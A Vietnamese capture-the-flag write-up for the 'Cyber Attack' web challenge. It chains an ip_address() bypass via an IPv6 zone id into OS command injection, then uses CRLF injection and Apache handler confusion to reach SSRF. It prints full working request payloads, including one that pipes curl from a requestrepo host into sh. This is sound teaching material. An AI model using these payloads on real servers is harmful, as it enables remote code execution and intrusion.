Cyber Attack

0xgnud17 pentester

[web] Cyber Attack - web - easy

Author: tan3ora

  • Tên: Cyber Attack
  • Description: Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.
  • Có source code

Phân tích

Web target có 2 chức năng:

  1. Attack a Domain trỏ tới /cgi-bin/attack-domain.py
  2. Attack an IP trỏ tới /cgi-bin/attack-ip.py

Bypass ip_address() -> OS CmdI

Phân tích source code attack-domain.py :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
print('Location: ../?error=Hey, you need to provide a name and a target!')

elif is_domain(target):
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {target}')
print(f'Location: ../?result=Succesfully attacked {target}!')
else:
print(f'Location: ../?error=Hey {name}, watch it!')

print('Content-Type: text/html')
print()

attack-ip.py :

1
2
3
4
5
6
7
8
...
try:
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {ip_address(target)}')
print(f'Location: ../?result=Succesfully attacked {target}!')
except:
print(f'Location: ../?error=Hey {name}, watch it!')
...

Ở đây đều có thể khai thác OS command Injection nếu ta kiểm soát được giá trị target , tuy nhiên phải bypass qua hàm ip_address() hoặc bypass regex :

1
2
def is_domain(target):
return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)

Sau khi tìm kiếm thì có thể bypass được qua hàm ip_address() dựa vào đây.
Nên để khai thác OS cmdi ta chỉ cần dùng payload fe80::1%<command> là được.

Kiểm tra config của Apache:

1
2
3
4
5
6
7
8
9
10
ServerName CyberAttack 

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip">
Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1
</Location>

Ta thấy Attack an IP chỉ chấp nhận được gọi khi dùng IP local -> cần tìm cách để SSRF tới Attack an IP,và chắc chắn là từ Attack a Domain.

Handler Confusion -> SSRF

Quay lại phân tích attack-domain ta phát hiện attack-domain.py trong cgi-bin đã in ra name trong thông báo lỗi mà không hề lọc ký tự đặc biệt:

1
2
3
4
5
6
elif is_domain(target):
count = 1 # Increase this for an actual attack
os.popen(f'ping -c {count} {target}')
print(f'Location: ../?result=Succesfully attacked {target}!')
else:
print(f'Location: ../?error=Hey {name}, watch it!')

Có thể sử dụng CRLF Injection để inject thêm header,mà ta đã biết ở file cấu hình Apache đã cấu hình AddType application/x-httpd-php .php thay vì AddHandler application/x-httpd-php .php điều này nghĩa là AddType chỉ gán giá trị vào r->content_type, không gán trực tiếp handler.
Do code cũ trong Apache (từ 1996), Apache có đoạn:

1
2
3
if (!r->handler) {
r->handler = r->content_type;
}

Điều này có thể bị lợi dụng để ép Apache dùng content_type làm handler –> gây ra Handler Confusion.

Để biết thêm chi tiết có thể đọc thêm tại đây.

Ta có thể khai thác CRLF Injection -> Handler Confusion -> SSRF với payload :

1
2
3
GET /cgi-bin/attack-domain?target=1.1.1.1&name=ttp://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:<Link_target> HTTP/1.1
Host: 127.0.0.1:1337
Connection: keep-alive

Khai thác

Bypass ip_address() và khai thác OScmdi với payload:

1
target=fe80::1%;curl 1e5qhv69.requestrepo.com | sh&name=hi

Ở requestrepo,sử dụng payload để lấy flag:
image

Gửi request:

image

1
2
3
GET /cgi-bin/attack-domain?target=1.1.1.1&name=ttp://%0d%0aLocation:/ooo%0d%0aContent-Type:proxy:http://127.0.0.1/cgi-bin/attack-ip%3Ftarget%3dfe80%253a%253a1%2525%253bcurl%25201e5qhv69.requestrepo.com%2520|%2520sh%26name%3dhi%20%0d%0a%0d%0a HTTP/1.1
Host: 127.0.0.1:1337
Connection: keep-alive

Lấy flag:

image